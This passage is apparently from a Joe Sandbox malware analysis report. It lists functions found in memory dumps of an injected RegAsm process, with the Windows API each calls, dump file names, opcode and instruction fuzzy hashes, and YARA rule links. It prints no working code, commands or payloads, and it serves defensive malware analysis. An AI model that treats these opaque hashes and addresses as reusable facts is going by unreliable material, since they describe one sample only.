Instruction ID: 703c6de868a730572d5ca562a8106c00668ac63e9b738a303ac08c53ba693148
Opcode Fuzzy Hash: 85feefe25cd3b2e45c989d5517e1e3106ed989d7ab3d7baf7126e1cbabe4e3ee
Instruction Fuzzy Hash: 1E41DFB1C0071DCBEB24CFA9C984B9EBBB5BF49704F20806AD408AB251DBB56945CF90

Function 05A141C8 Relevance: 1.6, APIs: 1, Instructions: 77windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 05A1427D

Memory Dump Source

Source File: 00000003.00000002.2226261950.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a10000_RegAsm.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7e911d24c3e12de0b3309e57f70e48f19f7c3fd2a926fbdb5b42129e716548ce
Instruction ID: 8aa9af26ee7cc9ceb96a256a116795600dca856a9538144154417e4a2b9be7c9
Opcode Fuzzy Hash: 7e911d24c3e12de0b3309e57f70e48f19f7c3fd2a926fbdb5b42129e716548ce
Instruction Fuzzy Hash: 082137B59043099FCB10CFA9C545B9EBBF4FF48320F10845AE919A7650D774A984CBA5

Function 056C3668 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 056C36EF

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0c5f33e191340bb6405636780a96316d994d1415ba8d5677e8211223e1cfd681
Instruction ID: 27cb37b0c18af5801c5525e5137a71824ea7aa23cf6c05209d45a319572c2f1a
Opcode Fuzzy Hash: 0c5f33e191340bb6405636780a96316d994d1415ba8d5677e8211223e1cfd681
Instruction Fuzzy Hash: 0521C4B59002499FDB10CF9AD984ADEBFF4FB48720F14845AE914A3310D378A954CFA5

Function 05A14C89 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 05A14D0C

Memory Dump Source

Source File: 00000003.00000002.2226261950.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a10000_RegAsm.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: 8a6f294ca86f8cccabe33daa634cb5463a0aa4b8ab292c7c3ccffd31c82ce9fa
Instruction ID: 6eba3bef04d97e6dc44d62337aff71a7b5f91bcf78f9557c0c1b688e9b2b7341
Opcode Fuzzy Hash: 8a6f294ca86f8cccabe33daa634cb5463a0aa4b8ab292c7c3ccffd31c82ce9fa
Instruction Fuzzy Hash: 6B2104B690174A8FDF10CF9AC984BDEFBF4BF48320F14842AD919A3240D378A544CB65

Function 05A14C90 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 05A14D0C

Memory Dump Source

Source File: 00000003.00000002.2226261950.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a10000_RegAsm.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: 92ae5c970f29fcd8cd5b724562c61dbe8874b2364d6ee9ba4ac84f45c941eed4
Instruction ID: c02f46a877fa979db46320bbfd10557b385c6e6cb5f0fe7e18fa269f9798df21
Opcode Fuzzy Hash: 92ae5c970f29fcd8cd5b724562c61dbe8874b2364d6ee9ba4ac84f45c941eed4
Instruction Fuzzy Hash: 812115B69017098FDF10CF9AC884BDEFBF4FB48320F14842AE919A3200D378A944CB65

Function 056C3660 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 056C36EF

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: da185b278fc3317106ae0ed5f2595c3c4c6d4282ace69c663b7b1a36f6f7edab
Instruction ID: c036dd09037a1e0b868c8637ef30c3b9da1389756d3116d7eab568c9a8ae5210
Opcode Fuzzy Hash: da185b278fc3317106ae0ed5f2595c3c4c6d4282ace69c663b7b1a36f6f7edab
Instruction Fuzzy Hash: 562125B5900249DFDB00CF99D580ADEBFF4FB48320F14855AE914A7350D378AA50CF61

Function 05A11390 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 05A11402

Memory Dump Source

Source File: 00000003.00000002.2226261950.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a10000_RegAsm.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: fa73729a0bd1ca61e38917072217993f7575456d2e15f8f20c99238c0f648a94
Instruction ID: b50159e23eeda7d1d279665b74dad8f7cd19205b6765dc255dfe52e0a6e3746a
Opcode Fuzzy Hash: fa73729a0bd1ca61e38917072217993f7575456d2e15f8f20c99238c0f648a94
Instruction Fuzzy Hash: 222136B6C006498FDB10CF9AC444BDEFBF4EB48720F14842AE929A7200D778A545CFA5

Function 05A11398 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 05A11402

Memory Dump Source

Source File: 00000003.00000002.2226261950.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a10000_RegAsm.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 305fb84742ebd9cec2b5fdef7ae040104544ae5c086775c00d49d5857aafc7af
Instruction ID: d7589cd531e414f7456fadd238a757ca7b225a074a19a9a8854a661b7f634b09
Opcode Fuzzy Hash: 305fb84742ebd9cec2b5fdef7ae040104544ae5c086775c00d49d5857aafc7af
Instruction Fuzzy Hash: 781114B68006498FDB10CF9AC444BDEFBF4EB88720F14842AD969A3600D778A545CFA5

Function 05A73418 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 05A7347F

Memory Dump Source

Source File: 00000003.00000002.2226583608.0000000005A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a70000_RegAsm.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 5531620b60d537cae9d7220abc9ab73441d3b1c365f0a95f4e5bc1ac547da33c
Instruction ID: d16d96095692f896376fa2f1fbd9bd4f602670d4a26ad442aec936007d88e3d0
Opcode Fuzzy Hash: 5531620b60d537cae9d7220abc9ab73441d3b1c365f0a95f4e5bc1ac547da33c
Instruction Fuzzy Hash: CD1136B5D0034A8FDB14DFA9C9457DEBBF0AF48724F24881AC519B7240DB78A544CB95

Function 05A73420 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 05A7347F

Memory Dump Source

Source File: 00000003.00000002.2226583608.0000000005A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a70000_RegAsm.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 154b7193f8620fb4385b253be2e7729774210b60ef6bd4987dc38a48807fcb41
Instruction ID: 97f57318df65120bd530175e864f5c0955923a819a4ac84f050647ecb118cc24
Opcode Fuzzy Hash: 154b7193f8620fb4385b253be2e7729774210b60ef6bd4987dc38a48807fcb41
Instruction Fuzzy Hash: DB1136B1D003498FDB24DFAAC8457DEBBF4AF88724F24881AC519A7240DB79A544CBA5

Function 056C1378 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 056C13DE

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: cab2d52e4526e18080216c5b4525ef03950c881d221b4715f8808dd8dae241e9
Instruction ID: b559b72b5fe2c37b75cde82c0f6e6df3e32dffda9d40b2a9df952634e485f282
Opcode Fuzzy Hash: cab2d52e4526e18080216c5b4525ef03950c881d221b4715f8808dd8dae241e9
Instruction Fuzzy Hash: 28110FB6C007498FCB10CF9AC444BDEFBF4EF88624F10845AD829A7600D3B8A545CFA1

Function 056C7E31 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 056C7E95

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: e062c5f0297deac0a177dc82aa457adbbe76b6d634c1f66fe69f51e12d11548b
Instruction ID: f77e6f8bdfd0d52c47289376fd3bfd271c00667c87c19afcf90bba3d68fa41ff
Opcode Fuzzy Hash: e062c5f0297deac0a177dc82aa457adbbe76b6d634c1f66fe69f51e12d11548b
Instruction Fuzzy Hash: 1D1106B68003499FDB10CF9AD585BDEBFF8EB48724F148459D915A3700D3B8A944CFA5

Function 05A12A11 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 05A12A75

Memory Dump Source

Source File: 00000003.00000002.2226261950.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a10000_RegAsm.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ad7d2857aa439a8ba0877914c3a8196a9e52b291a2a72ec6f1a59b11bd3916a8
Instruction ID: 6410edddd5ba32db0f737e52c816a9348152cf099eca5b307c8dcabdce4cd804
Opcode Fuzzy Hash: ad7d2857aa439a8ba0877914c3a8196a9e52b291a2a72ec6f1a59b11bd3916a8
Instruction Fuzzy Hash: 7C1106B58003499FDB10CF9AD945BDEBFF4EB48724F108419D914A3600D3B5A544CFA5

Function 056C7E38 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 056C7E95

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: d39761514e99d72d4608ee01760bf78672218b00ee8bcbc43b293cbf16713554
Instruction ID: 57c4801e408da8bad1b601812438524f82c96e311d5c862e5c0384505749128f
Opcode Fuzzy Hash: d39761514e99d72d4608ee01760bf78672218b00ee8bcbc43b293cbf16713554
Instruction Fuzzy Hash: 6611D3B68002499FDB10CF9AD585BDEBFF8EB48724F20845AD919A7700D3B4A944CFA5

Function 05A12A18 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 05A12A75

Memory Dump Source

Source File: 00000003.00000002.2226261950.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a10000_RegAsm.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 7a65caf9b4f8f331781d61968bc71ad48d68b8c176651e70606f13c1322d4bb4
Instruction ID: e027c3b4cce4f926cb900df2582f668595c229858803455bc33c8176634810b1
Opcode Fuzzy Hash: 7a65caf9b4f8f331781d61968bc71ad48d68b8c176651e70606f13c1322d4bb4
Instruction Fuzzy Hash: FF1103B58003499FDB10CF9AD944BDEBFF8EB48724F108819D918A3200D3B9A544CFA5

Function 013ED4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215283340.00000000013ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 013ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13ed000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ecf4d4057e8a367da63bbbfee35a8d12d4a0f14b31562668010d0e47913f6f2
Instruction ID: bb5643a097c37c292cafaa3c08389730ee583418d25df91be22e0100e4008afb
Opcode Fuzzy Hash: 1ecf4d4057e8a367da63bbbfee35a8d12d4a0f14b31562668010d0e47913f6f2
Instruction Fuzzy Hash: 9C214572500348DFDB05CF84D9C8B26BFA5FB8832CF20816DD9090B2D6C336D856CAA2

Function 013ED3EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215283340.00000000013ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 013ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13ed000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ada152feaba1ac20e94e39c33646b16e11bafce930e4ab3df5f5e17956d33d8
Instruction ID: 5e3734ee899b183863e80ba7429d2c785061320e8244c4167d4111ce0811b7f6
Opcode Fuzzy Hash: 3ada152feaba1ac20e94e39c33646b16e11bafce930e4ab3df5f5e17956d33d8
Instruction Fuzzy Hash: 33217872104304EFDB05DF44D9C4B66BFA5FBA4328F20C56CD9091B682C736E406CEA1

Function 013FD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215419083.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13fd000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f2bfa9c5b658a0fac06220855a1c4bb7e6776701c07a92ab6f00616305afec
Instruction ID: 16d71dc69823a32098edbb5e9853a4fec0fd7a7eb40d4820c5eda43887909b8e
Opcode Fuzzy Hash: 90f2bfa9c5b658a0fac06220855a1c4bb7e6776701c07a92ab6f00616305afec
Instruction Fuzzy Hash: 49214271204204EFDB15DF54D9C8B26BB65FB84318F20C56DDA0A4B342C73AC407CA61

Function 013FD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215419083.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13fd000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 789c4f2313c165674fff23a9b2fe416d53183f11d700c574eb431de0ff6d26fa
Instruction ID: 0159c0bed3572ca7c9cb5c70481a5f8ef172feb900afa6097ae3cc8a9f4625f8
Opcode Fuzzy Hash: 789c4f2313c165674fff23a9b2fe416d53183f11d700c574eb431de0ff6d26fa
Instruction Fuzzy Hash: A4214679504304FFDB05DF94DAC8B26BBA5FB84328F20C56DDA094B252C77AD446CAA1

Function 013FD006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215419083.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13fd000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebdb38f55d17435b6f57bddf9c32f1ac439411e12d2378d63242cf7272f2746d
Instruction ID: 07dcf0f2f4b606dd11a207a75eb3c34e18443cc266be890e160d5f17c161ab15
Opcode Fuzzy Hash: ebdb38f55d17435b6f57bddf9c32f1ac439411e12d2378d63242cf7272f2746d
Instruction Fuzzy Hash: AB218E755093808FCB03CF24D994715BF71EB46218F28C5EAD9498F667C33A980ACB62

Function 013ED4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215283340.00000000013ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 013ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13ed000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a5504dfd99aeaae02a5904faf24bf7c180eb56da23d91347c8bcbb22ee6d9b3
Instruction ID: 3eaa804c40d3ca973fb9fcbdc00106d6750d21434766bce125a3b836aa8c35bd
Opcode Fuzzy Hash: 5a5504dfd99aeaae02a5904faf24bf7c180eb56da23d91347c8bcbb22ee6d9b3
Instruction Fuzzy Hash: A411B176504384CFCB16CF54D9C4B16BFB1FB84318F2486A9D9094B696C33AD456CBA1

Function 013ED3E7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215283340.00000000013ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 013ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13ed000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a5504dfd99aeaae02a5904faf24bf7c180eb56da23d91347c8bcbb22ee6d9b3
Instruction ID: cad4704b0d5c5fe0183dc55a87c773c857fa4cf2b1732835ebf94e68ddfe8a11
Opcode Fuzzy Hash: 5a5504dfd99aeaae02a5904faf24bf7c180eb56da23d91347c8bcbb22ee6d9b3
Instruction Fuzzy Hash: 9311E176404380CFCB02CF44D9C4B56BFA2FB94328F24C5A9D8090B656C33AE456CFA1

Function 013FD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215419083.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13fd000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3adcda68119555c6f25b62d92a5950083e81dc615a2459920abefbb8922beed6
Instruction ID: 4849cc02dca3ebd2c70254a6df8b88333083735f168aca312222bb319ad7f800
Opcode Fuzzy Hash: 3adcda68119555c6f25b62d92a5950083e81dc615a2459920abefbb8922beed6
Instruction Fuzzy Hash: DB11BE79504280DFCB02CF54C6C4B15BB61FB84228F24C6AED9494B656C33AD44ACB91

Function 05AC8F90 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226641379.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5ab0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a6beab3de5712b0e181e6b516eb903016c0313060f042ad2a31d6375d320693
Instruction ID: dc7cec11676b62262026afd06ad2eac8f2a10a3480e0770e58307ea422eb9d54
Opcode Fuzzy Hash: 3a6beab3de5712b0e181e6b516eb903016c0313060f042ad2a31d6375d320693
Instruction Fuzzy Hash: B8E0E574E00208EFCB44DFA8D944A9DFBF5FB48310F10C1AA9818A3340D735AA51DF80

Function 05AC4FC0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226641379.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5ab0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a6beab3de5712b0e181e6b516eb903016c0313060f042ad2a31d6375d320693
Instruction ID: 11866c773b30c93aa783baefe5259ae61a82585b8e75f681a8c87aa76d614297
Opcode Fuzzy Hash: 3a6beab3de5712b0e181e6b516eb903016c0313060f042ad2a31d6375d320693
Instruction Fuzzy Hash: 91E0E574E00208EFCB44DFA8D544A9DFBF4FB48310F10C1AA9818A3340D731AA51DF84

Function 05ACBF78 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226641379.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5ab0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a6beab3de5712b0e181e6b516eb903016c0313060f042ad2a31d6375d320693
Instruction ID: e0904befcd2f9f5ae3251e886ea3c6a7ca3d2a57f16b8311bea598bda2c71136
Opcode Fuzzy Hash: 3a6beab3de5712b0e181e6b516eb903016c0313060f042ad2a31d6375d320693
Instruction Fuzzy Hash: 32E0E578E00208EFCB54DFA8D545A9DFBF4FB88310F10C1AA9818A3340D732AA51DF81

Function 05AC7A08 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226641379.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5ab0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d761a6c46bf016c88af7f7a819ebcdf7db1eca8c014e6832d0a7c70a93b2614
Instruction ID: 7a10256e00634f588dd28ff82a15732504d3f1a986b2d5c2c07b10449612156a
Opcode Fuzzy Hash: 0d761a6c46bf016c88af7f7a819ebcdf7db1eca8c014e6832d0a7c70a93b2614
Instruction Fuzzy Hash: B5E01234D04208ABCB04DBA8E440AACBBB4EB88300F1081EE881853380D6319E42DB80

Function 05ACC780 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226641379.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5ab0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a79d6321d819598928595b8b1410df33bb64db383645de52513376096e7775d0
Instruction ID: 8e782a3932b7c7bd487f8942b73179b1297a9037c5fec86c5749f367a133a8b5
Opcode Fuzzy Hash: a79d6321d819598928595b8b1410df33bb64db383645de52513376096e7775d0
Instruction Fuzzy Hash: B4E01238904208EBCB14DFA4E541A5DBB74FB45314F1081EDC81917340C7719E42DB81

Function 05AC9F10 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226641379.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5ab0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3037637a5edc319c45343de6d9a50c764ac5bc27680c55647a62e3ec102159b6
Instruction ID: c28e6ef7df4e93a41449da5c7d94ae45cb5671c21df46d9372ed8aa3d90644c6
Opcode Fuzzy Hash: 3037637a5edc319c45343de6d9a50c764ac5bc27680c55647a62e3ec102159b6
Instruction Fuzzy Hash: 7BE0E274D04208AFCB54EFB8E549B9DBBF8AB04305F1001A99808A3240E7705A84CB81

Non-executed Functions

Function 05A75170 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226583608.0000000005A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c383840f5a57f91131296c634307d1c4d906f8ca870db1e1dcdb5e92b27b7a6
Instruction ID: 0fd3a5b62aae20188f27c792b5dbfbad8349b2f986f05064c479e9ac37dbc3b4
Opcode Fuzzy Hash: 7c383840f5a57f91131296c634307d1c4d906f8ca870db1e1dcdb5e92b27b7a6
Instruction Fuzzy Hash: AFD19B70B057088FDB19DB75C958B6EBBF7AF88200F1444AED1569B290DB34D902CBA1

Function 056C5F38 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a32087d4ed3549278e32523eba9654d2c69db0901a5ea543f83201191d2bcc98
Instruction ID: 144e291e81391026102890c4c6edbabe15e1195f8ee19ac12ed0ddfce4a90bd9
Opcode Fuzzy Hash: a32087d4ed3549278e32523eba9654d2c69db0901a5ea543f83201191d2bcc98
Instruction Fuzzy Hash: 771294B44817468AE730CF65E98C18D3BB1B745338BB0C709DA616B2E9DBB4158BCF64

Function 056C3F64 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ccf480c8ae2440d7af422f82e7b51d973b91a0c7ff27b6edee95f248dfde1b3
Instruction ID: 20a2f77d75c57002f0191474e86c007f65560874dab0a6a3801be73b8e6202c7
Opcode Fuzzy Hash: 1ccf480c8ae2440d7af422f82e7b51d973b91a0c7ff27b6edee95f248dfde1b3
Instruction Fuzzy Hash: 52A15E32B00219CFCF15DFA5C8445AEBBB2FF84301B1585AEE806AB365DB71E945CB90

Function 056C5F28 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb35ff4f2e234b7ff45ab47468dc14bc750f63adcce14e106cc5f72795b9127
Instruction ID: be461b5304c30a712b89a235c7cdcc4ab172752023b028caf95dafa31a322eff
Opcode Fuzzy Hash: 5eb35ff4f2e234b7ff45ab47468dc14bc750f63adcce14e106cc5f72795b9127
Instruction Fuzzy Hash: A8C1F6B48817468BE720CF65E88818D7BB1BB85334F71C709D6616B2E9DBB8148BCF54

Function 056C5EE0 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83fd2cf587c9e2293e24cfeb914e4f76a742ecc8274bb6e06c245b1346467f06
Instruction ID: 050bb20b5d9e1613e8c1f208219e7f964e8eb4229d57a44d81864fac41d0c5b9
Opcode Fuzzy Hash: 83fd2cf587c9e2293e24cfeb914e4f76a742ecc8274bb6e06c245b1346467f06
Instruction Fuzzy Hash: E7C1F5B04817468BE724CF69E88818D7BB1FB85334B70C709D6616B2D9DBB8148BCF54

Function 05ACC7C0 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226641379.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5ab0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba2671479230034eada25645b84ad484244e44ef6c47dad872d37306177a4348
Instruction ID: adab3e140b7c6a94d2369b1294dc5e141adfa5262af16afc0173c164edd9cc4d
Opcode Fuzzy Hash: ba2671479230034eada25645b84ad484244e44ef6c47dad872d37306177a4348
Instruction Fuzzy Hash: 3381C070D05228CEDB24DFA9D854BAEBFB6BF89324F1080A9D02DAB254DB745985CF41

Function 01456B58 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c03f10f0465b1eee087d8a662385a500304968cfc461befd6469e550bc3318a0
Instruction ID: 0d0f1981f1512d2fe7843233d17f03aa25356c645b62780cdd8c0d9f2eb20a75
Opcode Fuzzy Hash: c03f10f0465b1eee087d8a662385a500304968cfc461befd6469e550bc3318a0
